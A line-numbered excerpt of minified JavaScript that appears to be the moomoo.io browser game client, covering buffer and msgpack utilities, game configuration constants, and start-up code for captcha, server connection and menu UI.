  961. }, K.prototype.copy = function (yz, yO, yE, yI) {
  962. if (yE || (yE = 0), yI || 0 === yI || (yI = this.length), yO >= yz.length && (yO = yz.length), yO || (yO = 0), yI > 0 && yI < yE && (yI = yE), yI === yE) return 0;
  963. if (0 === yz.length || 0 === this.length) return 0;
  964. if (yO < 0) throw new RangeError("targetStart out of bounds");
  965. if (yE < 0 || yE >= this.length) throw new RangeError("sourceStart out of bounds");
  966. if (yI < 0) throw new RangeError("sourceEnd out of bounds");
  967. yI > this.length && (yI = this.length), yz.length - yO < yI - yE && (yI = yz.length - yO + yE);
  968. var yM, yt = yI - yE;
  969. if (this === yz && yE < yO && yO < yI) for (yM = yt - 1; yM >= 0; --yM) yz[yM + yO] = this[yM + yE]; else if (yt < 1e3 || !K.TYPED_ARRAY_SUPPORT) for (yM = 0; yM < yt; ++yM) yz[yM + yO] = this[yM + yE]; else Uint8Array.prototype.set.call(yz, this.subarray(yE, yE + yt), yO);
  970. return yt;
  971. }, K.prototype.fill = function (yz, yO, yE, yI) {
  972. if ("string" == typeof yz) {
  973. if ("string" == typeof yO ? (yI = yO, yO = 0, yE = this.length) : "string" == typeof yE && (yI = yE, yE = this.length), 1 === yz.length) {
  974. var yM = yz.charCodeAt(0);
  975. yM < 256 && (yz = yM);
  976. }
  977. if (void 0 !== yI && "string" != typeof yI) throw new TypeError("encoding must be a string");
  978. if ("string" == typeof yI && !K.isEncoding(yI)) throw new TypeError("Unknown encoding: " + yI);
  979. } else "number" == typeof yz && (yz &= 255);
  980. if (yO < 0 || this.length < yO || this.length < yE) throw new RangeError("Out of range index");
  981. if (yE <= yO) return this;
  982. var yt;
  983. if (yO >>>= 0, yE = void 0 === yE ? this.length : yE >>> 0, yz || (yz = 0), "number" == typeof yz) for (yt = yO; yt < yE; ++yt) this[yt] = yz; else {
  984. var yK = K.isBuffer(yz) ? yz : yX(new K(yz, yI).toString()), yr = yK.length;
  985. for (yt = 0; yt < yE - yO; ++yt) this[yt + yO] = yK[yt % yr];
  986. }
  987. return this;
  988. };
  989. var yN = /[^+\/0-9A-Za-z-_]/g;
  990. function yh(yz) {
  991. return yz < 16 ? "0" + yz.toString(16) : yz.toString(16);
  992. }
  993. function yX(yz, yO) {
  994. var yE;
  995. yO = yO || 1 / 0;
  996. for (var yI = yz.length, yM = null, yt = [], yK = 0; yK < yI; ++yK) {
  997. if ((yE = yz.charCodeAt(yK)) > 55295 && yE < 57344) {
  998. if (!yM) {
  999. if (yE > 56319) {
  1000. (yO -= 3) > -1 && yt.push(239, 191, 189);
  1001. continue;
  1002. }
  1003. if (yK + 1 === yI) {
  1004. (yO -= 3) > -1 && yt.push(239, 191, 189);
  1005. continue;
  1006. }
  1007. yM = yE;
  1008. continue;
  1009. }
  1010. if (yE < 56320) {
  1011. (yO -= 3) > -1 && yt.push(239, 191, 189), yM = yE;
  1012. continue;
  1013. }
  1014. yE = 65536 + (yM - 55296 << 10 | yE - 56320);
  1015. } else yM && (yO -= 3) > -1 && yt.push(239, 191, 189);
  1016. if (yM = null, yE < 128) {
  1017. if ((yO -= 1) < 0) break;
  1018. yt.push(yE);
  1019. } else if (yE < 2048) {
  1020. if ((yO -= 2) < 0) break;
  1021. yt.push(yE >> 6 | 192, 63 & yE | 128);
  1022. } else if (yE < 65536) {
  1023. if ((yO -= 3) < 0) break;
  1024. yt.push(yE >> 12 | 224, yE >> 6 & 63 | 128, 63 & yE | 128);
  1025. } else {
  1026. if (!(yE < 1114112)) throw new Error("Invalid code point");
  1027. if ((yO -= 4) < 0) break;
  1028. yt.push(yE >> 18 | 240, yE >> 12 & 63 | 128, yE >> 6 & 63 | 128, 63 & yE | 128);
  1029. }
  1030. }
  1031. return yt;
  1032. }
  1033. function yF(yz) {
  1034. return G.toByteArray(function (yO) {
  1035. if ((yO = function (yE) {
  1036. return yE.trim ? yE.trim() : yE.replace(/^\s+|\s+$/g, "");
  1037. }(yO).replace(yN, "")).length < 2) return "";
  1038. for (; yO.length % 4 != 0;) yO += "=";
  1039. return yO;
  1040. }(yz));
  1041. }
  1042. function yZ(yz, yO, yE, yI) {
  1043. for (var yM = 0; yM < yI && !(yM + yE >= yO.length || yM >= yz.length); ++yM) yO[yM + yE] = yz[yM];
  1044. return yM;
  1045. }
  1046. }.call(this, d(12)));
  1047. }, function (y, V) {
  1048. var d;
  1049. d = function () {
  1050. return this;
  1051. }();
  1052. try {
  1053. d = d || new Function("return this")();
  1054. } catch (J) {
  1055. "object" == typeof window && (d = window);
  1056. }
  1057. y.exports = d;
  1058. }, function (y, V) {
  1059. for (var d = V.uint8 = new Array(256), J = 0; J <= 255; J++) d[J] = T(J);
  1060. function T(c) {
  1061. return function (L) {
  1062. var s = L.reserve(1);
  1063. L.buffer[s] = c;
  1064. };
  1065. }
  1066. }, function (y, V, d) {
  1067. V.FlexDecoder = L, V.FlexEncoder = p;
  1068. var J = d(0), T = "BUFFER_SHORTAGE";
  1069. function L() {
  1070. if (!(this instanceof L)) return new L;
  1071. }
  1072. function p() {
  1073. if (!(this instanceof p)) return new p;
  1074. }
  1075. function U() {
  1076. throw new Error("method not implemented: write()");
  1077. }
  1078. function G() {
  1079. throw new Error("method not implemented: fetch()");
  1080. }
  1081. function q() {
  1082. return this.buffers && this.buffers.length ? (this.flush(), this.pull()) : this.fetch();
  1083. }
  1084. function P(N) {
  1085. (this.buffers || (this.buffers = [])).push(N);
  1086. }
  1087. function g() {
  1088. return (this.buffers || (this.buffers = [])).shift();
  1089. }
  1090. function H(N) {
  1091. return function (X) {
  1092. for (var F in N) X[F] = N[F];
  1093. return X;
  1094. };
  1095. }
  1096. L.mixin = H({bufferish: J, write: function (N) {
  1097. var X = this.offset ? J.prototype.slice.call(this.buffer, this.offset) : this.buffer;
  1098. this.buffer = X ? N ? this.bufferish.concat([X, N]) : X : N, this.offset = 0;
  1099. }, fetch: G, flush: function () {
  1100. for (; this.offset < this.buffer.length;) {
  1101. var N, X = this.offset;
  1102. try {
  1103. N = this.fetch();
  1104. } catch (F) {
  1105. if (F && F.message != T) throw F;
  1106. this.offset = X;
  1107. break;
  1108. }
  1109. this.push(N);
  1110. }
  1111. }, push: P, pull: g, read: q, reserve: function (N) {
  1112. var X = this.offset, F = X + N;
  1113. if (F > this.buffer.length) throw new Error(T);
  1114. return this.offset = F, X;
  1115. }, offset: 0}), L.mixin(L.prototype), p.mixin = H({bufferish: J, write: U, fetch: function () {
  1116. var N = this.start;
  1117. if (N < this.offset) {
  1118. var X = this.start = this.offset;
  1119. return J.prototype.slice.call(this.buffer, N, X);
  1120. }
  1121. }, flush: function () {
  1122. for (; this.start < this.offset;) {
  1123. var N = this.fetch();
  1124. N && this.push(N);
  1125. }
  1126. }, push: P, pull: function () {
  1127. var N = this.buffers || (this.buffers = []), X = N.length > 1 ? this.bufferish.concat(N) : N[0];
  1128. return N.length = 0, X;
  1129. }, read: q, reserve: function (N) {
  1130. var X = 0 | N;
  1131. if (this.buffer) {
  1132. var F = this.buffer.length, Z = 0 | this.offset, z = Z + X;
  1133. if (z < F) return this.offset = z, Z;
  1134. this.flush(), N = Math.max(N, Math.min(2 * F, this.maxBufferSize));
  1135. }
  1136. return N = Math.max(N, this.minBufferSize), this.buffer = this.bufferish.alloc(N), this.start = 0, this.offset = X, 0;
  1137. }, send: function (N) {
  1138. var X = N.length;
  1139. if (X > this.minBufferSize) this.flush(), this.push(N); else {
  1140. var F = this.reserve(X);
  1141. J.prototype.copy.call(N, this.buffer, F);
  1142. }
  1143. }, maxBufferSize: 65536, minBufferSize: 2048, offset: 0, start: 0}), p.mixin(p.prototype);
  1144. }, function (y, V, d) {
  1145. V.decode = function (T, c) {
  1146. var L = new J(c);
  1147. return L.write(T), L.read();
  1148. };
  1149. var J = d(16).DecodeBuffer;
  1150. }, function (y, V, d) {
  1151. V.DecodeBuffer = T;
  1152. var J = d(8).preset;
  1153. function T(c) {
  1154. if (!(this instanceof T)) return new T(c);
  1155. if (c && (this.options = c, c.codec)) {
  1156. var L = this.codec = c.codec;
  1157. L.bufferish && (this.bufferish = L.bufferish);
  1158. }
  1159. }
  1160. d(14).FlexDecoder.mixin(T.prototype), T.prototype.codec = J, T.prototype.fetch = function () {
  1161. return this.codec.decode(this);
  1162. };
  1163. }, function (V, J, L) {
  1164. var U = L(4), G = L(7), q = G.Uint64BE, H = G.Int64BE;
  1165. J.getReadFormat = function (y8) {
  1166. var y9 = N.hasArrayBuffer && y8 && y8.binarraybuffer, yy = y8 && y8.int64;
  1167. return {map: F && y8 && y8.usemap ? z : Z, array: O, str: K, bin: y9 ? Y : R, ext: Q, uint8: D, uint16: B, uint32: C, uint64: y1(8, yy ? y4 : y2), int8: W, int16: j, int32: y0, int64: y1(8, yy ? y5 : y3), float32: y1(4, y6), float64: y1(8, y7)};
  1168. }, J.readUint8 = D;
  1169. var N = L(0), X = L(6), F = "undefined" != typeof Map;
  1170. function Z(y8, y9) {
  1171. var yy, yV = {}, yd = new Array(y9), yJ = new Array(y9), yT = y8.codec.decode;
  1172. for (yy = 0; yy < y9; yy++) yd[yy] = yT(y8), yJ[yy] = yT(y8);
  1173. for (yy = 0; yy < y9; yy++) yV[yd[yy]] = yJ[yy];
  1174. return yV;
  1175. }
  1176. function z(y8, y9) {
  1177. var yy, yV = new Map, yd = new Array(y9), yJ = new Array(y9), yT = y8.codec.decode;
  1178. for (yy = 0; yy < y9; yy++) yd[yy] = yT(y8), yJ[yy] = yT(y8);
  1179. for (yy = 0; yy < y9; yy++) yV.set(yd[yy], yJ[yy]);
  1180. return yV;
  1181. }
  1182. function O(y8, y9) {
  1183. for (var yy = new Array(y9), yV = y8.codec.decode, yd = 0; yd < y9; yd++) yy[yd] = yV(y8);
  1184. return yy;
  1185. }
  1186. function K(y8, y9) {
  1187. var yy = y8.reserve(y9), yV = yy + y9;
  1188. return X.toString.call(y8.buffer, "utf-8", yy, yV);
  1189. }
  1190. function R(y8, y9) {
  1191. var yy = y8.reserve(y9), yV = yy + y9, yd = X.slice.call(y8.buffer, yy, yV);
  1192. return N.from(yd);
  1193. }
  1194. function Y(y8, y9) {
  1195. var yy = y8.reserve(y9), yV = yy + y9, yd = X.slice.call(y8.buffer, yy, yV);
  1196. return N.Uint8Array.from(yd).buffer;
  1197. }
  1198. function Q(y8, y9) {
  1199. var yy = y8.reserve(y9 + 1), yV = y8.buffer[yy++], yd = yy + y9, yJ = y8.codec.getExtUnpacker(yV);
  1200. if (!yJ) throw new Error("Invalid ext type: " + (yV ? "0x" + yV.toString(16) : yV));
  1201. return yJ(X.slice.call(y8.buffer, yy, yd));
  1202. }
  1203. function D(y8) {
  1204. var y9 = y8.reserve(1);
  1205. return y8.buffer[y9];
  1206. }
  1207. function W(y8) {
  1208. var y9 = y8.reserve(1), yy = y8.buffer[y9];
  1209. return 128 & yy ? yy - 256 : yy;
  1210. }
  1211. function B(y8) {
  1212. var y9 = y8.reserve(2), yy = y8.buffer;
  1213. return yy[y9++] << 8 | yy[y9];
  1214. }
  1215. function j(y8) {
  1216. var y9 = y8.reserve(2), yy = y8.buffer, yV = yy[y9++] << 8 | yy[y9];
  1217. return 32768 & yV ? yV - 65536 : yV;
  1218. }
  1219. function C(y8) {
  1220. var y9 = y8.reserve(4), yy = y8.buffer;
  1221. return 16777216 * yy[y9++] + (yy[y9++] << 16) + (yy[y9++] << 8) + yy[y9];
  1222. }
  1223. function y0(y8) {
  1224. var y9 = y8.reserve(4), yy = y8.buffer;
  1225. return yy[y9++] << 24 | yy[y9++] << 16 | yy[y9++] << 8 | yy[y9];
  1226. }
  1227. function y1(y8, y9) {
  1228. return function (yy) {
  1229. var yV = yy.reserve(y8);
  1230. return y9.call(yy.buffer, yV, !0);
  1231. };
  1232. }
  1233. function y2(y8) {
  1234. return new q(this, y8).toNumber();
  1235. }
  1236. function y3(y8) {
  1237. return new H(this, y8).toNumber();
  1238. }
  1239. function y4(y8) {
  1240. return new q(this, y8);
  1241. }
  1242. function y5(y8) {
  1243. return new H(this, y8);
  1244. }
  1245. function y6(y8) {
  1246. return U.read(this, y8, !1, 23, 4);
  1247. }
  1248. function y7(y8) {
  1249. return U.read(this, y8, !1, 52, 8);
  1250. }
  1251. }, function (y, V, d) {
  1252. !function (J) {
  1253. y.exports = J;
  1254. var T = "listeners", c = {on: function (G, q) {
  1255. return U(this, G).push(q), this;
  1256. }, once: function (G, q) {
  1257. var P = this;
  1258. return g.originalListener = q, U(P, G).push(g), P;
  1259. function g() {
  1260. p.call(P, G, g), q.apply(this, arguments);
  1261. }
  1262. }, off: p, emit: function (G, q) {
  1263. var P = this, g = U(P, G, !0);
  1264. if (!g) return !1;
  1265. var H = arguments.length;
  1266. if (1 === H) g.forEach(function (h) {
  1267. h.call(P);
  1268. }); else if (2 === H) g.forEach(function (h) {
  1269. h.call(P, q);
  1270. }); else {
  1271. var N = Array.prototype.slice.call(arguments, 1);
  1272. g.forEach(function (h) {
  1273. h.apply(P, N);
  1274. });
  1275. }
  1276. return !!g.length;
  1277. }};
  1278. function L(G) {
  1279. for (var q in c) G[q] = c[q];
  1280. return G;
  1281. }
  1282. function p(G, q) {
  1283. var P;
  1284. if (arguments.length) {
  1285. if (q) {
  1286. if (P = U(this, G, !0)) {
  1287. if (!(P = P.filter(function (g) {
  1288. return g !== q && g.originalListener !== q;
  1289. })).length) return p.call(this, G);
  1290. this[T][G] = P;
  1291. }
  1292. } else if ((P = this[T]) && (delete P[G], !Object.keys(P).length)) return p.call(this);
  1293. } else delete this[T];
  1294. return this;
  1295. }
  1296. function U(G, q, P) {
  1297. if (!P || G[T]) {
  1298. var g = G[T] || (G[T] = {});
  1299. return g[q] || (g[q] = []);
  1300. }
  1301. }
  1302. L(J.prototype), J.mixin = L;
  1303. }(function J() {
  1304. if (!(this instanceof J)) return new J;
  1305. });
  1306. }, function (y, V, d) {
  1307. (function (J) {
  1308. y.exports.maxScreenWidth = 1920 * 1.1, y.exports.maxScreenHeight = 1080 * 1.1, y.exports.serverUpdateRate = 9, y.exports.maxPlayers = 50, y.exports.maxPlayersHard = 50, y.exports.collisionDepth = 6, y.exports.minimapRate = 3e3, y.exports.colGrid = 10, y.exports.clientSendRate = 5, y.exports.healthBarWidth = 50, y.exports.healthBarPad = 4.5, y.exports.reloadBarWidth = 22, y.exports.iconPadding = 15, y.exports.iconPad = 0.9, y.exports.deathFadeout = 3e3, y.exports.crownIconScale = 60, y.exports.crownPad = 35, y.exports.chatCountdown = 3e3, y.exports.chatCooldown = 500, y.exports.inSandbox = J && "mm_exp" === J.env.VULTR_SCHEME, y.exports.maxAge = 100, y.exports.gatherAngle = Math.PI / 2.6, y.exports.gatherWiggle = 10, y.exports.hitReturnRatio = 0.25, y.exports.hitAngle = Math.PI / 2, y.exports.playerScale = 35, y.exports.playerSpeed = 0.0016, y.exports.playerDecel = 0.993, y.exports.nameY = 34, y.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#8bc373"], y.exports.animalCount = 7, y.exports.aiTurnRandom = 0.06, y.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn", "Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis", "Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper", "Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion", "Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared", "July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"], y.exports.shieldAngle = Math.PI / 3, y.exports.weaponVariants = [{id: 0, src: "", xp: 0, val: 1}, {id: 1, src: "_g", xp: 3e3, val: 1.1}, {id: 2, src: "_d", xp: 7e3, val: 1.18}, {id: 3, src: "_r", poison: !0, xp: 12e3, val: 1.18}], y.exports.fetchVariant = function (T) {
  1309. for (var c = T.weaponXP[T.weaponIndex] || 0, L = y.exports.weaponVariants.length - 1; L >= 0; --L) if (c >= y.exports.weaponVariants[L].xp) return y.exports.weaponVariants[L];
  1310. }, y.exports.resourceTypes = ["wood", "food", "stone", "points"], y.exports.areaCount = 7, y.exports.treesPerArea = 9, y.exports.bushesPerArea = 3, y.exports.totalRocks = 32, y.exports.goldOres = 7, y.exports.riverWidth = 724, y.exports.riverPadding = 114, y.exports.waterCurrent = 0.0011, y.exports.waveSpeed = 0.0001, y.exports.waveMax = 1.3, y.exports.treeScales = [150, 160, 165, 175], y.exports.bushScales = [80, 85, 95], y.exports.rockScales = [80, 85, 90], y.exports.snowBiomeTop = 2400, y.exports.snowSpeed = 0.75, y.exports.maxNameLength = 15, y.exports.mapScale = 14400, y.exports.mapPingScale = 40, y.exports.mapPingTime = 2200;
  1311. }.call(this, d(41)));
  1312. }, function (y, V) {
  1313. var d = {utf8: {stringToBytes: function (J) {
  1314. return d.bin.stringToBytes(unescape(encodeURIComponent(J)));
  1315. }, bytesToString: function (J) {
  1316. return decodeURIComponent(escape(d.bin.bytesToString(J)));
  1317. }}, bin: {stringToBytes: function (J) {
  1318. for (var T = [], c = 0; c < J.length; c++) T.push(255 & J.charCodeAt(c));
  1319. return T;
  1320. }, bytesToString: function (J) {
  1321. for (var T = [], c = 0; c < J.length; c++) T.push(String.fromCharCode(J[c]));
  1322. return T.join("");
  1323. }}};
  1324. y.exports = d;
  1325. }, function (y0, y1, y2) {
  1326. "use strict";
  1327. window.loadedScript = !0;
  1328. var y3 = "127.0.0.1" !== location.hostname && !location.hostname.startsWith("192.168.");
  1329. y2(22);
  1330. var y4 = y2(23), y5 = y2(42), y6 = y2(43), y7 = y2(19), y8 = y2(44), y9 = y2(45), yy = (y2(46), y2(47)), yV = y2(48), yd = y2(55), yJ = y2(56), yT = y2(57), yc = y2(58).obj, yL = new y6.TextManager, ys = new (y2(59))("moomoo.io", 3e3, y7.maxPlayers, 5, !1);
  1331. ys.debugLog = !1;
  1332. var yp = !1;
  1333. function yU() {
  1334. VC && d0 && (yp = !0, y3 ? window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {action: "homepage"}).then(function (cS) {
  1335. yG(cS);
  1336. }) : yG(null));
  1337. }
  1338. function yG(cS) {
  1339. ys.start(function (cf, cA, cY) {
  1340. var cb = (y3 ? "wss" : "ws") + "://" + cf + ":8008/?gameIndex=" + cY;
  1341. cS && (cb += "&token=" + encodeURIComponent(cS)), y4.connect(cb, function (cu) {
  1342. cI(), setInterval(() => cI(), 300), cu ? d1(cu) : (V6.onclick = y5.checkTrusted(function () {
  1343. !function () {
  1344. var cx = ++dy > 1, cQ = Date.now() - d9 > d8;
  1345. cx && cQ ? (d9 = Date.now(), dV()) : dP();
  1346. }();
  1347. }), y5.hookTouchEvents(V6), V7.onclick = y5.checkTrusted(function () {
  1348. cK("https://krunker.io");
  1349. }), y5.hookTouchEvents(V7), V9.onclick = y5.checkTrusted(function () {
  1350. setTimeout(function () {
  1351. !function () {
  1352. var cx = Vs.value, cQ = prompt("party key", cx);
  1353. cQ && (window.onbeforeunload = void 0, window.location.href = "/?server=" + cQ);
  1354. }();
  1355. }, 10);
  1356. }), y5.hookTouchEvents(V9), Vy.onclick = y5.checkTrusted(function () {
  1357. Vg.classList.contains("showing") ? (Vg.classList.remove("showing"), VV.innerText = "Settings") : (Vg.classList.add("showing"), VV.innerText = "Close");
  1358. }), y5.hookTouchEvents(Vy), Vd.onclick = y5.checkTrusted(function () {
  1359. Jd(), "block" != Vv.style.display ? dh() : Vv.style.display = "none";
  1360. }), y5.hookTouchEvents(Vd), VJ.onclick = y5.checkTrusted(function () {
  1361. "block" != Vx.style.display ? (Vx.style.display = "block", Vv.style.display = "none", dj(), dR()) : Vx.style.display = "none";
  1362. }), y5.hookTouchEvents(VJ), VT.onclick = y5.checkTrusted(function () {
  1363. dm();
  1364. }), y5.hookTouchEvents(VT), VA.onclick = y5.checkTrusted(function () {
  1365. JO();
  1366. }), y5.hookTouchEvents(VA), function () {
  1367. for (var cx = 0; cx < JA.length; ++cx) {
  1368. var cQ = new Image;
  1369. cQ.onload = function () {
  1370. this.isLoaded = !0;
  1371. }, cQ.src = JA[cx] == "crosshair" ? "https://upload.wikimedia.org/wikipedia/commons/thumb/9/95/Crosshairs_Red.svg/1200px-Crosshairs_Red.svg.png" : ".././img/icons/" + JA[cx] + ".png", Jf[JA[cx]] = cQ;
  1372. }
  1373. }(), VH.style.display = "none", VP.style.display = "block", VI.value = yh("moo_name") || "", function () {
  1374. var cx = yh("native_resolution");
  1375. dl(cx ? "true" == cx : "undefined" != typeof cordova), yF = "true" == yh("show_ping"), VG.hidden = !yF, yh("moo_moosic"), setInterval(function () {
  1376. window.cordova && (document.getElementById("downloadButtonContainer").classList.add("cordova"), document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"));
  1377. }, 1e3), da(), y5.removeAllChildren(Vh);
  1378. for (var cQ = 0; cQ < y9.weapons.length + y9.list.length; ++cQ) !function (ck) {
  1379. y5.generateElement({id: "actionBarItem" + ck, class: "actionBarItem", style: "display:none", onmouseout: function () {
  1380. dJ();
  1381. }, parent: Vh});
  1382. }(cQ);
  1383. for (cQ = 0; cQ < y9.list.length + y9.weapons.length; ++cQ) !function (ck) {
  1384. var cl = document.createElement("canvas");
  1385. cl.width = cl.height = 66;
  1386. var ca = cl.getContext("2d");
  1387. if (ca.translate(cl.width / 2, cl.height / 2), ca.imageSmoothingEnabled = !1, ca.webkitImageSmoothingEnabled = !1, ca.mozImageSmoothingEnabled = !1, y9.weapons[ck]) {
  1388. ca.rotate(Math.PI / 4 + Math.PI);
  1389. var co = new Image;
  1390. Ty[y9.weapons[ck].src] = co, co.onload = function () {
  1391. this.isLoaded = !0;
  1392. var cm = 1 / (this.height / this.width), cB = y9.weapons[ck].iPad || 1;
  1393. ca.drawImage(this, -cl.width * cB * y7.iconPad * cm / 2, -cl.height * cB * y7.iconPad / 2, cl.width * cB * cm * y7.iconPad, cl.height * cB * y7.iconPad), ca.fillStyle = "rgba(0, 0, 70, 0.1)", ca.globalCompositeOperation = "source-atop", ca.fillRect(-cl.width / 2, -cl.height / 2, cl.width, cl.height), document.getElementById("actionBarItem" + ck).style.backgroundImage = "url(" + cl.toDataURL() + ")";
  1394. }, co.src = ".././img/weapons/" + y9.weapons[ck].src + ".png", (cD = document.getElementById("actionBarItem" + ck)).onmouseover = y5.checkTrusted(function () {
  1395. dJ(y9.weapons[ck], !0);
  1396. }), cD.onclick = y5.checkTrusted(function () {
  1397. JE(ck, !0);
  1398. }), y5.hookTouchEvents(cD);
  1399. } else {
  1400. co = Tc(y9.list[ck - y9.weapons.length], !0);
  1401. var cD, cW = Math.min(cl.width - y7.iconPadding, co.width);
  1402. ca.globalAlpha = 1, ca.drawImage(co, -cW / 2, -cW / 2, cW, cW), ca.fillStyle = "rgba(0, 0, 70, 0.1)", ca.globalCompositeOperation = "source-atop", ca.fillRect(-cW / 2, -cW / 2, cW, cW), document.getElementById("actionBarItem" + ck).style.backgroundImage = "url(" + cl.toDataURL() + ")", (cD = document.getElementById("actionBarItem" + ck)).onmouseover = y5.checkTrusted(function () {
  1403. dJ(y9.list[ck - y9.weapons.length]);
  1404. }), cD.onclick = y5.checkTrusted(function () {
  1405. JE(ck - y9.weapons.length);
  1406. }), y5.hookTouchEvents(cD);
  1407. }
  1408. }(cQ);
  1409. VI.ontouchstart = y5.checkTrusted(function (ck) {
  1410. ck.preventDefault();
  1411. var cl = prompt("enter name", ck.currentTarget.value);
  1412. ck.currentTarget.value = cl.slice(0, 15);
  1413. }), Vp.checked = yX, Vp.onchange = y5.checkTrusted(function (ck) {
  1414. dl(ck.target.checked);
  1415. }), VU.checked = yF, VU.onchange = y5.checkTrusted(function (ck) {
  1416. yF = VU.checked, VG.hidden = !yF, yN("show_ping", yF ? "true" : "false");
  1417. });
  1418. }());
  1419. }, {id: VW, d: d1, 1: JM, 2: TM, 4: TK, 33: cs, 5: Jx, 6: Tq, a: Tz, aa: TZ, 7: JB, 8: TP, sp: Tg, 9: Tw, h: Tl, 11: Jw, 12: Jv, 13: JR, 14: Tr, 15: Ju, 16: Jb, 17: dk, 18: TX, 19: TF, 20: cM, ac: dq, ad: dN, an: dU, st: dg, sa: dH, us: dw, ch: J2, mm: dK, t: JK, p: dM, pp: cO}), d3(), setTimeout(() => d4(), 3e3);
  1420. }, function (cf) {
  1421. console.error("Vultr error:", cf), alert("Error:\n" + cf), d1("disconnected");
  1422. });
  1423. }
  1424. var yq, yP = new yc(y7, y5), yg = Math.PI, yH = 2 * yg;
  1425. function yN(cS, cf) {
  1426. yq && localStorage.setItem(cS, cf);
  1427. }
  1428. function yh(cS) {
  1429. return yq ? localStorage.getItem(cS) : null;
  1430. }
  1431. Math.lerpAngle = function (cS, cf, cA) {
  1432. Math.abs(cf - cS) > yg && (cS > cf ? cf += yH : cS += yH);
  1433. var cY = cf + (cS - cf) * cA;
  1434. return cY >= 0 && cY <= yH ? cY : cY % yH;
  1435. }, CanvasRenderingContext2D.prototype.roundRect = function (cS, cf, cA, cY, cb) {
  1436. return cA < 2 * cb && (cb = cA / 2), cY < 2 * cb && (cb = cY / 2), cb < 0 && (cb = 0), this.beginPath(), this.moveTo(cS + cb, cf), this.arcTo(cS + cA, cf, cS + cA, cf + cY, cb), this.arcTo(cS + cA, cf + cY, cS, cf + cY, cb), this.arcTo(cS, cf + cY, cS, cf, cb), this.arcTo(cS, cf, cS + cA, cf, cb), this.closePath(), this;
  1437. }, "undefined" != typeof Storage && (yq = !0), yh("consent") || (consentBlock.style.display = "block"), window.checkTerms = function (cS) {
  1438. cS ? (consentBlock.style.display = "none", yN("consent", 1)) : $("#consentShake").effect("shake");
  1439. };
  1440. var yX, yF, yZ, yz, yO, yE, yI, yM, yK, yr, yw, yR, yv, yS, yf = yh("moofoll"), yA = 1, yY = Date.now(), yb = [], yu = [], yx = [], yQ = [], yk = [], yl = new yT(yJ, yk, yu, yb, Va, y9, y7, y5), ya = y2(70), yo = y2(71), yD = new ya(yb, yo, yu, y9, null, y7, y5), yW = 1, ym = 0, yB = 0, yj = 0, yC = {id: -1, startX: 0, startY: 0, currentX: 0, currentY: 0}, V0 = {id: -1, startX: 0, startY: 0, currentX: 0, currentY: 0}, V1 = 0, V2 = y7.maxScreenWidth, V3 = y7.maxScreenHeight, V4 = !1, V5 = (document.getElementById("ad-container"), document.getElementById("mainMenu")), V6 = document.getElementById("enterGame"), V7 = document.getElementById("promoImg"), V8 = document.getElementById("partyButton"), V9 = document.getElementById("joinPartyButton"), Vy = document.getElementById("settingsButton"), VV = Vy.getElementsByTagName("span")[0], Vd = document.getElementById("allianceButton"), VJ = document.getElementById("storeButton"), VT = document.getElementById("chatButton"), Vc = document.getElementById("gameCanvas"), VL = Vc.getContext("2d"), Vs = document.getElementById("serverBrowser"), Vp = document.getElementById("nativeResolution"), VU = document.getElementById("showPing"), VG = (document.getElementById("playMusic"), document.getElementById("pingDisplay")), Vq = document.getElementById("shutdownDisplay"), VP = document.getElementById("menuCardHolder"), Vg = document.getElementById("guideCard"), VH = document.getElementById("loadingText"), VN = document.getElementById("gameUI"), Vh = document.getElementById("actionBar"), VX = document.getElementById("scoreDisplay"), VF = document.getElementById("foodDisplay"), VZ = document.getElementById("woodDisplay"), Vz = document.getElementById("stoneDisplay"), VO = document.getElementById("killCounter"), VE = document.getElementById("leaderboardData"), VI = document.getElementById("nameInput"), VM = document.getElementById("itemInfoHolder"), VK = document.getElementById("ageText"), Vr = document.getElementById("ageBarBody"), Vw = document.getElementById("upgradeHolder"), VR = document.getElementById("upgradeCounter"), Vv = document.getElementById("allianceMenu"), VS = document.getElementById("allianceHolder"), Vf = document.getElementById("allianceManager"), VA = document.getElementById("mapDisplay"), VY = document.getElementById("diedText"), Vb = document.getElementById("skinColorHolder"), Vu = VA.getContext("2d");
  1441. VA.width = 300, VA.height = 300;
  1442. var Vx = document.getElementById("storeMenu"), Vi = document.getElementById("storeHolder"), VQ = document.getElementById("noticationDisplay"), Vk = yd.hats, Vl = yd.accessories, Va = new yy(y8, yQ, y5, y7), Vo = "#525252", VD = "#3d3f42";
  1443. function VW(cS) {
  1444. yx = cS.teams;
  1445. }
  1446. var Vm = document.getElementById("featuredYoutube"), VB = {name: "me mega noob", link: "https://www.youtube.com/channel/UCVGAbDHHAi0DnG52HoX5ooA"};
  1447. Vm.innerHTML = "<a target='_blank' class='ytLink' href='" + VB.link + "'><i class='material-icons' style='vertical-align: top;'>&#xE064;</i> " + VB.name + "</a>";
  1448. var Vj = !0, VC = !1, d0 = !1;
  1449. function d1(cS) {
  1450. y4.close(), d2(cS);
  1451. }
  1452. function d2(cS) {
  1453. V5.style.display = "block", VN.style.display = "none", VP.style.display = "none", VY.style.display = "none", VH.style.display = "block", VH.innerHTML = cS + "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>";
  1454. }
  1455. window.onblur = function () {
  1456. Vj = !1;
  1457. }, window.onfocus = function () {
  1458. Vj = !0, yI && yI.alive && Jd();
  1459. }, window.onload = function () {
  1460. VC = !0, yU(), setTimeout(function () {
  1461. yp || (alert("Captcha failed to load"), window.location.reload());
  1462. }, 2e4);
  1463. }, window.captchaCallback = function () {
  1464. d0 = !0, yU();
  1465. }, Vc.oncontextmenu = function () {
  1466. return !1;
  1467. };
  1468. function d3() {
  1469. var cS, cf, cA = "", cY = 0;
  1470. for (var cb in ys.servers) {
  1471. for (var cu = ys.servers[cb], cx = 0, cQ = 0; cQ < cu.length; cQ++) for (var ck = 0; ck < cu[cQ].games.length; ck++) cx += cu[cQ].games[ck].playerCount;
  1472. cY += cx;
